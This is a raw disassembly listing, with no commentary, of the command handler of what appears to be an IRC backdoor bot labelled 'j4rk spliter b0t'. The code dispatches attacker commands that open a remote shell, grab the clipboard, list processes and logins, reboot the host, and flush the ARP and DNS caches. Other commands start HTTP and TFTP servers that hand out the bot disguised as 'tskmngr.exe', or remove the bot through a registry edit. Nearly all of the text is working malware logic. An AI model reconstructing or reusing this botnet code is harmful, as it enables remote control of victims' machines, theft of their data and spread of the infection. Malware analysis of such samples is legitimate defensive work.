push str.reconnect
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405434
push str.QUIT_:reconnecting_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
pop ecx
pop ecx
push str.Reconnecting
call fcn.0040a845
pop ecx
xor eax, eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.disconnect
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405473
push str.QUIT_:disconnecting_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
pop ecx
pop ecx
push str.Disconnecting
call fcn.0040a845
pop ecx
or eax, 0xffffffff
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.quit
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405501
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x4054ea
cmp dword [ebp - 0x2e0], 0
je 0x4054e8
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x11b4], eax
cmp dword [ebp - 0x11b4], 0
je 0x4054e8
push dword [ebp - 0x11b4]
push str.QUIT_:_s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
jmp 0x4054f9
push str.QUIT_:later_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
pop ecx
pop ecx
push 0xfffffffffffffffe
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.status
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405579
push dword [0x4dd4f8]
call fcn.0041c4d9
pop ecx
push eax
push str._MAIN_
push str._s_Status:_Ready._Bot_Uptime:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.botid
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4055e9
push str._j4rk_spliter_b0t_
push str._MAIN_
push str._s_Bot_ID:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.reboot
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40566e
call fcn.0040bd0a
test eax, eax
je 0x40561b
mov dword [ebp - 0x33f4], str.Rebooting_system
jmp 0x405625
mov dword [ebp - 0x33f4], str.Failed_to_reboot_system
push dword [ebp - 0x33f4]
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
pop ecx
pop ecx
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.threads
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4057cc
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0x1248]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x124c], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x11c0], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x11bc], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x4056fd
push 0x441644
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.004202f0
pop ecx
pop ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x33f8], eax
jmp 0x405704
and dword [ebp - 0x33f8], 0
mov eax, dword [ebp - 0x33f8]
mov dword [ebp - 0x11c4], eax
push str.List_threads
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
pop ecx
pop ecx
push 0
push 0x1f
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x11c8], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x124c]
push eax
push 0x41d874
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x11c8]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x11c8]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x405797
cmp dword [ebp - 0x11b8], 0
jne 0x405795
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405782
jmp 0x4057b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_list_thread__error__d
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.aliases
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405813
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040a7a5
add esp, 0xc
push str.Alias_list
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d188
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40597c
and byte [ebp - 0x12dc], 0
cmp dword [ebp - 0x2e0], 0
je 0x40589c
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x40589c
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x1364], eax
cmp dword [ebp - 0x1364], 0
je 0x40589c
push dword [ebp - 0x1364]
push 0x441690
push 0x80
lea eax, [ebp - 0x12dc]
push eax
call fcn.0041f000
add esp, 0x10
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0x135c]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1360], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x1258], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1254], eax
push str.Listing_log
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
pop ecx
pop ecx
push 0
push 0x1c
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x125c], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x1360]
push eax
push 0x40aaaf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x125c]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x125c]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x40595b
cmp dword [ebp - 0x1250], 0
jne 0x405959
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405946
jmp 0x405974
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push 0x4416a0
call fcn.0040a8db
add esp, 0xc
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.clearlog
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4059bb
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040aa0b
add esp, 0x10
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0a4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405a1a
push 0
push dword [ebp - 0x868]
push dword [ebp + 0xc]
push dword [ebp + 0x24]
lea eax, [ebp - 0x864]
push eax
call fcn.0041cb25
add esp, 0xc
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push str.Network_Info
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0a8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405a75
push 0
push dword [ebp - 0x868]
push dword [ebp + 0xc]
lea eax, [ebp - 0x864]
push eax
call fcn.0041c7cb
pop ecx
pop ecx
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push str.System_Info
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0b8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405b37
cmp dword [ebp - 4], 0
jne 0x405aba
push 0
push dword [ebp - 0x868]
push 0x4416e8
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push dword [ebp + 0xc]
call dword [0x4e35bc]
call dword [0x4e3490]
call fcn.0040bd35
push 6
pop ecx
mov esi, 0x4416fc
lea edi, [ebp - 0x138c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x441718
lea edi, [ebp - 0x1370]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1390]
push eax
lea eax, [ebp - 0x1394]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x138c]
push eax
push 0x80000002
call dword [0x4e34e4]
lea eax, [ebp - 0x1370]
push eax
push dword [ebp - 0x1394]
call dword [0x4e349c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.procs
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405cc5
push 0x1e
call fcn.0041db72
pop ecx
test eax, eax
jle 0x405b8d
cmp dword [ebp - 4], 0
jne 0x405b88
push 0
push dword [ebp - 0x868]
push str.Already_running
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
jmp 0x405cbd
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0x1428]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x142c], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x13a0], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x139c], eax
and dword [ebp - 0x13a4], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x405c03
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str.full
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405c03
mov dword [ebp - 0x13a4], 1
push str._MAIN_
push str._s_Proccess_list
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
push 0
push 0x1e
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x13a8], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x142c]
push eax
push 0x40e916
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x13a8]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x13a8]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x405c90
cmp dword [ebp - 0x1398], 0
jne 0x405c8e
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405c7b
jmp 0x405cb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_listing_thread__error__d
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0ac
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405da2
or dword [ebp - 0x1430], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0x1434], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x405d2b
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x1430], eax
mov eax, dword [ebp - 0x1434]
xor edx, edx
mov ecx, 0x15180
div ecx
cmp eax, dword [ebp - 0x1430]
jae 0x405d4b
cmp dword [ebp - 0x1430], 0xffffffff
jne 0x405d9a
push 0
call fcn.0041c4d9
pop ecx
push eax
push str._MAIN_
push str._s_Uptime:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0b4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405deb
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040e5bb
add esp, 0x10
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.testdlls
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405e2a
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.00416ebf
add esp, 0x10
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.opencmd
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405f29
push 7
call fcn.0041db72
pop ecx
test eax, eax
jle 0x405ea5
push str._MAIN_
push str._s_Remote_shell_already_running
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x405e96
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
jmp 0x405f21
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040c418
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x405ed5
push str._MAIN_
push str._s_Couldnt_open_remote_shell
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
jmp 0x405eee
push str._MAIN_
push str._s_Remote_shell_ready
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x405f14
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.cmdstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405f81
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 7
push str.Remote_shell
push 0x4dd8f8
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d1b4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406070
cmp dword [ebp - 4], 0
jne 0x405fc6
push 0
push dword [ebp - 0x868]
push 0x4dd8fc
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
and dword [ebp - 0x5e4], 0
jmp 0x405fdc
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x406060
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x406011
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x33fc], eax
jmp 0x40601b
mov dword [ebp - 0x33fc], str._Empty_
push dword [ebp - 0x33fc]
push dword [ebp - 0x5e4]
push 0x441800
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 1
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
jmp 0x405fcf
push str.Login_list_complete
call fcn.0040a845
pop ecx
jmp 0x40a62d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.getclip
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4060e3
cmp dword [ebp - 4], 0
jne 0x4060b1
push 0
push dword [ebp - 0x868]
push 0x4dd900
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push 0
push dword [ebp - 0x868]
call fcn.0040baa5
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push str.Get_Clipboard
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.flusharp
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406186
call fcn.0040c7ae
test eax, eax
je 0x40612d
push str._MAIN_
push str._s_ARP_cache_flushed
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x10
jmp 0x40614b
push str._MAIN_
push str._s_Failed_to_flush_ARP_cache
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406171
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.flushdns
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406253
cmp dword [0x4e3464], 0
je 0x4061fa
call dword [0x4e3464]
test eax, eax
je 0x4061da
push str._MAIN_
push str._s_DNS_cache_flushed
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x10
jmp 0x4061f8
push str._MAIN_
push str._s_Failed_to_flush_DNS_cache
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x10
jmp 0x406218
push str._MAIN_
push str._s_Failed_to_load_dnsapi.dll
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x40623e
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0b0
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4062d7
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x40629b
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x1438], eax
jmp 0x4062a9
push 8
call fcn.0041dbb3
pop ecx
mov dword [ebp - 0x1438], eax
cmp dword [ebp - 0x1438], 0
je 0x4062cf
push dword [ebp - 0x1438]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.004104fc
add esp, 0x10
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.http
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40653d
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x406353
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
test eax, eax
jne 0x40632c
mov eax, dword [0x440918]
mov dword [ebp - 0x3400], eax
jmp 0x406345
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x3400], eax
mov eax, dword [ebp - 0x3400]
mov dword [ebp - 0x3404], eax
jmp 0x40635e
mov eax, dword [0x440918]
mov dword [ebp - 0x3404], eax
mov eax, dword [ebp - 0x3404]
mov dword [ebp - 0x1458], eax
movzx eax, byte [ebp - 0x37c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1444], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x4063a9
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa4]
lea eax, [ebp - 0x155c]
push eax
call fcn.0041ee40
pop ecx
pop ecx
jmp 0x4063d7
push 0x104
lea eax, [ebp - 0x18ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
push 0
push 0
lea eax, [ebp - 0x18f8]
push eax
lea eax, [ebp - 0x18ec]
push eax
call fcn.0041f5d0
add esp, 0x14
lea eax, [ebp - 0x155c]
push eax
call fcn.0041ec40
pop ecx
movsx eax, byte [ebp + eax - 0x155d]
cmp eax, 0x5c
jne 0x406406
lea eax, [ebp - 0x155c]
push eax
call fcn.0041ec40
pop ecx
and byte [ebp + eax - 0x155d], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x17e8], eax
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0x17e4]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x144c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1448], eax
lea eax, [ebp - 0x155c]
push eax
push dword [ebp - 0x1458]
push dword [ebp + 0xc]
call fcn.0040c969
pop ecx
push eax
push str._MAIN_
push 0x4418bc
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x18
push 0
push 3
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x1450], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x17e8]
push eax
push 0x40cabb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1450]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x1450]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x4064e2
cmp dword [ebp - 0x143c], 0
jne 0x4064e0
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4064cd
jmp 0x406502
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push 0x4418f0
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406528
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.tftp
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406767
push 4
call fcn.0041db72
pop ecx
test eax, eax
jle 0x406588
push str._MAIN_
push str._s_Already_running
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
jmp 0x40672c
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x4065c1
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x104
lea eax, [ebp - 0x1b98]
push eax
call fcn.0041f000
add esp, 0xc
mov dword [ebp - 0x3408], eax
jmp 0x4065db
push 0x104
lea eax, [ebp - 0x1b98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x3408], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x406600
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xa4]
mov dword [ebp - 0x340c], eax
jmp 0x40660a
mov dword [ebp - 0x340c], str.tskmngr.exe
push dword [ebp - 0x340c]
push 0x104
lea eax, [ebp - 0x1a94]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [0x440914]
mov dword [ebp - 0x1988], eax
and dword [ebp - 0x198c], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1b9c], eax
push 0x7f
push dword [ebp - 0xa4]
lea eax, [ebp - 0x1984]
push eax
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x1904], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1900], eax
lea eax, [ebp - 0x1a94]
push eax
lea eax, [ebp - 0x1b98]
push eax
push dword [ebp - 0x1988]
push str._MAIN_
push str._s_TfTp_Server_started_on_Port:__d__File:__s__Request:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x18
push 0
push 4
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x1990], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x1b9c]
push eax
push fcn.0040ef40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1990]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x1990]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x40670c
cmp dword [ebp - 0x18fc], 0
jne 0x40670a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4066f7
jmp 0x40672c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_server_thread__error__d
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406752
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d1d8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4067f1
push str._MAIN_
push str._s_Crashing_bot
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4067c3
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push str.crash
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0x98]
call fcn.004202f0
pop ecx
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d028
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4068a1
call fcn.0041c65d
